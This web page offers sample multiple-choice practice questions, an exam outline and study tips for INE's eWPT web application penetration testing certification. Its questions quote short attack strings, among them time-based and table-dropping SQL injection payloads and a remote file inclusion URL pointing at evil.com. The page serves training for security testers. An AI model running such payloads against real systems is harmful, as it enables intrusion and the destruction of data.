PracticeVideosBlogFlashcardsEspañol
All Practice Exams

100+ Free eWPT Practice Questions

Prepare for the eWPT Web Application Penetration Tester (INE Security) exam with instant access — no signup required.

✓ No registration✓ No credit card✓ No hidden fees✓ Start practicing immediately
100+ Questions
100% Free

Loading practice questions...

Same family resources

Explore More INE Security (eLearnSecurity) Certifications

Continue into nearby exams from the same family. Each card keeps practice questions, study guides, flashcards, videos, and articles in one place.

eJPT Junior Penetration Tester

Practice Questions

INE eWPTX Web Application Penetration Tester eXtreme

Practice Questions

INE AI Systems Security Specialist (eAIS)

Practice Questions

INE eCDFP Certified Digital Forensics Professional

Practice Questions

INE eCPPT Certified Professional Penetration Tester

Practice Questions

INE eMAPT Mobile Application Penetration Tester

Practice Questions
2026 Statistics

Key Facts: eWPT Exam

Practical

Exam Format

INE Security

3 years

Certification Validity

INE Security

~$749/yr

INE Premium (includes exam)

INE Security

Browser-based

Exam Environment

INE Security

Auto-graded

Scoring Method

INE Security

6 domains

Content Areas

INE eWPT Blueprint

The eWPT (eWPTv2) from INE Security is a practical, hands-on web application penetration testing certification conducted in a browser-based Kali Linux lab. Candidates must identify and exploit web vulnerabilities (SQLi, XSS, CSRF, IDOR, LFI/RFI, file upload) using industry-standard tools including Burp Suite and SQLMap. Certification is valid 3 years. INE Premium subscription (~$749/year) includes the course and exam. This practice test covers the theoretical knowledge — the real exam requires live exploitation.

Sample eWPT Practice Questions

Try these sample questions to test your eWPT exam readiness. Each question includes a detailed explanation. Start the interactive quiz above for the full 100+ question experience with AI tutoring.

1During a web application penetration test, which phase is typically performed FIRST after scoping is agreed upon?
A.Information gathering and reconnaissance
B.Exploitation of identified vulnerabilities
C.Vulnerability assessment and scanning
D.Report writing and remediation advice
Explanation: Information gathering and reconnaissance is the first technical phase of a web app pentest after pre-engagement. It establishes the attack surface—domains, subdomains, technologies, and entry points—before any analysis or exploitation begins. Testing blindly without recon leads to missed vulnerabilities and wasted effort.
2A tester uses `robots.txt` to enumerate restricted paths on a target web server. Which phase of the OWASP Web Security Testing Guide (WSTG) does this best represent?
A.Information gathering
B.Authentication testing
C.Session management testing
D.Input validation testing
Explanation: Reviewing `robots.txt` is a classic information-gathering technique documented in WSTG-INFO-01. The file often reveals directories the administrator does not want indexed, giving testers a list of potentially sensitive endpoints to probe further.
3Which tool is most commonly used for intercepting and modifying HTTP/HTTPS traffic during a web application pentest?
A.Nmap
B.Metasploit Framework
C.Burp Suite
D.Hydra
Explanation: Burp Suite is the industry-standard web application testing proxy. It intercepts HTTP/HTTPS requests and responses, allowing the tester to inspect, modify, replay, and fuzz web traffic. Its Repeater, Intruder, and Scanner modules cover most web testing activities.
4During web fingerprinting, a tester sends an `OPTIONS` request to the target. Which of the following responses would indicate a misconfiguration worth escalating?
A.HTTP 200 with 'Allow: GET, POST, HEAD'
B.HTTP 405 Method Not Allowed
C.HTTP 200 with 'Allow: GET, POST, PUT, DELETE, TRACE'
D.HTTP 403 Forbidden
Explanation: TRACE and DELETE being enabled via the OPTIONS response indicates dangerous HTTP methods are permitted. TRACE can assist in cross-site tracing (XST) attacks, and DELETE allows file deletion. These methods should be disabled on production servers.
5A tester discovers that a web application reflects user input directly in a script block without encoding: `<script>var user='PAYLOAD';</script>`. Which type of XSS vulnerability is this?
A.Reflected XSS
B.Stored XSS
C.DOM-based XSS
D.Blind XSS
Explanation: Reflected XSS occurs when user-supplied data is immediately echoed back in the server's response without persistent storage. The payload travels from the request directly into the rendered page. The injection point inside a script block means the attacker can break out of the string with `';` and inject arbitrary JavaScript.
6Which SQL injection payload is used to test for time-based blind SQLi on a MySQL backend?
A.' AND SLEEP(5)--
B.' OR 1=1--
C.'; DROP TABLE users;--
D.' UNION SELECT NULL--
Explanation: `AND SLEEP(5)` causes MySQL to pause for 5 seconds if the injection point is evaluated, confirming a boolean-true condition without any visible output. This is the standard time-based blind technique: if the response is delayed, injection is present.
7Which Gobuster command correctly brute-forces directories on a target web application using a wordlist?
A.gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
B.gobuster dns -d target.com -w /usr/share/wordlists/dirb/common.txt
C.gobuster vhost -u http://target.com -w wordlist.txt
D.gobuster fuzz -u http://target.com/FUZZ -w wordlist.txt
Explanation: `gobuster dir` mode performs directory and file brute-forcing. The `-u` flag sets the target URL, and `-w` specifies the wordlist. This is the primary command for enumerating hidden paths on web servers during recon.
8A web application stores session tokens in cookies without the `HttpOnly` flag set. What attack does this primarily enable?
A.SQL injection via cookie manipulation
B.Session fixation attacks
C.Cross-site scripting theft of session cookies
D.CSRF token bypass
Explanation: The `HttpOnly` flag prevents JavaScript from reading a cookie via `document.cookie`. Without it, an XSS payload can steal the session token and send it to the attacker, enabling session hijacking. This is why HttpOnly is a critical defence against XSS-based session theft.
9Which attack technique allows an attacker to include a remote file hosted on an attacker-controlled server into a PHP application?
A.Remote File Inclusion (RFI)
B.Local File Inclusion (LFI)
C.Server-Side Template Injection (SSTI)
D.Path Traversal
Explanation: Remote File Inclusion (RFI) exploits PHP functions like `include()` or `require()` that accept user-controlled paths. When the application fetches a URL pointing to an attacker's server (e.g., `?page=http://evil.com/shell.php`), it executes the remote PHP code, leading to remote code execution.
10During a CSRF vulnerability assessment, which HTTP request characteristic is the MOST important to verify as absent?
A.Absence of a valid anti-CSRF token in the request
B.Absence of the Content-Type header
C.Absence of HTTPS in the request URL
D.Absence of the User-Agent header
Explanation: CSRF attacks work by tricking a browser into making an authenticated request on behalf of a victim. The primary defence is an unpredictable anti-CSRF token (synchronized token pattern or double-submit cookie). If the server does not validate a CSRF token in state-changing requests, the endpoint is vulnerable.

About the eWPT Exam

The eWPT (Web Application Penetration Tester) is INE Security's intermediate-level practical certification validating web application penetration testing skills. Unlike multiple-choice exams, eWPT requires candidates to conduct a real-world web app engagement in a hosted Kali Linux environment, identifying and exploiting vulnerabilities including SQLi, XSS, CSRF, IDOR, and file inclusion. This practice bank tests the theoretical knowledge underlying the practical exam.

Assessment

Performance-based assessment

Time Limit

Practical lab exam; duration not publicly specified

Passing Score

Auto-graded; threshold not published

Exam Fee

Included with INE Premium subscription or standalone voucher (INE Security)

eWPT Exam Content Outline

10%

Web App Pentest Methodology

OWASP WSTG framework, engagement scoping, pentest lifecycle phases, rules of engagement, and professional reporting standards

10%

Information Gathering & Reconnaissance

Web fingerprinting, DNS enumeration, subdomain discovery, certificate transparency (crt.sh), OSINT tools, directory brute-forcing with Gobuster/dirb/ffuf

15%

Web Application Analysis & Inspection

HTTP method testing, response header analysis, session token inspection, cookie attribute review, Burp Suite proxy and Repeater usage, web app mapping

15%

Vulnerability Assessment

OWASP Top 10 identification, security misconfiguration, information disclosure, open redirects, insecure methods, Nikto scanning, business logic review

40%

Security Testing & Exploitation

SQL injection (in-band, blind, time-based, UNION-based, SQLMap), XSS (reflected, stored, DOM-based), CSRF, IDOR, LFI/RFI, command injection, file upload attacks, authentication bypass, JWT attacks, XXE, SSRF

10%

Web Services & Reporting

REST API testing (OWASP API Top 10), SOAP/XML and XXE, WebSocket testing, professional pentest report writing with evidence and CVSS-rated findings

How to Pass the eWPT Exam

What You Need to Know

  • Passing score: Auto-graded; threshold not published
  • Assessment: Performance-based assessment
  • Time limit: Practical lab exam; duration not publicly specified
  • Exam fee: Included with INE Premium subscription or standalone voucher

Keys to Passing

  • Work through all 100 available questions
  • Review every answer and explanation
  • Track weak areas and revisit them
  • Use our AI tutor for tough concepts

eWPT Study Tips from Top Performers

1Master Burp Suite's Proxy, Repeater, and Intruder modules — they are the central tools for nearly every web app test
2Practice manual SQL injection before relying on SQLMap — understanding WHY a payload works helps when automated tools fail
3Learn XSS in all three contexts: HTML body, HTML attribute, and JavaScript string — each requires a different escape technique
4Understand the difference between CSRF and IDOR — both are authorization issues but with different mechanisms and mitigations
5Study the OWASP Web Security Testing Guide (WSTG) — it is the methodological backbone of the eWPT exam
6Practice file upload bypass techniques: MIME type spoofing, alternative PHP extensions, double extensions, and null byte injection
7Set up DVWA (Damn Vulnerable Web Application) and test each vulnerability class hands-on before the exam
8Understand cookie security attributes (HttpOnly, Secure, SameSite) and what attacks each prevents
9Always check robots.txt, phpinfo.php, and .git directories during reconnaissance — they often reveal critical information

Frequently Asked Questions

What is the eWPT exam format?

The eWPT exam is a fully practical, hands-on web application penetration test conducted in a hosted browser-based Kali Linux environment. Candidates must identify and exploit vulnerabilities across target web applications using real tools (Burp Suite, SQLMap, etc.). The exam is auto-graded based on achieved objectives. It is not a multiple-choice exam — this practice bank tests the theoretical knowledge underlying the practical skills.

What topics does the eWPT cover?

The eWPT covers six main areas: (1) Web app pentest methodology and OWASP WSTG (10%), (2) Information gathering and reconnaissance — Gobuster, theHarvester, Shodan (10%), (3) Web app analysis and Burp Suite (15%), (4) Vulnerability assessment and OWASP Top 10 (15%), (5) Security testing and exploitation — SQLi, XSS, CSRF, IDOR, LFI/RFI, command injection, file upload (40%), and (6) Web services and reporting (10%).

How do I prepare for eWPT?

Complete INE's Web Application Penetration Testing Professional learning path (approximately 106 hours). Focus on Burp Suite mastery, SQL injection with SQLMap, XSS in all contexts, CSRF proof-of-concept construction, IDOR testing, and file upload bypasses. Practice on platforms like HackTheBox, DVWA, and WebGoat. Study the OWASP Web Security Testing Guide (WSTG) and OWASP Top 10.

Is eWPT worth it compared to other web app certs?

eWPT is a respected intermediate-level practical certification. It is harder than CompTIA Security+ or CEH for web topics due to its hands-on format, but less advanced than PortSwigger's BSCP or the eWPTX. It pairs well with the eJPT (entry-level) as a natural next step, and the eWPTX as the advanced follow-on. Employers value practical certs over multiple-choice exams for pentesting roles.

What tools do I need to know for eWPT?

Core tools: Burp Suite (Proxy, Repeater, Intruder, Scanner), SQLMap, Gobuster/ffuf/dirb, Nikto, curl, Nmap (for basic web port scanning), theHarvester, and browser developer tools. The exam environment provides Kali Linux with all common tools pre-installed. Focus most of your preparation time on Burp Suite — it is used for nearly every aspect of the exam.

Is this practice test like the real eWPT?

No — this is a multiple-choice knowledge-preparation bank. The real eWPT is a fully practical exam where you must actually exploit vulnerable web applications. These questions test the conceptual and technical knowledge that underlies the practical skills: what tools do, how vulnerabilities work, what payloads achieve, and what mitigations apply. Use this bank to validate your theoretical understanding, then practice hands-on exploitation in lab environments.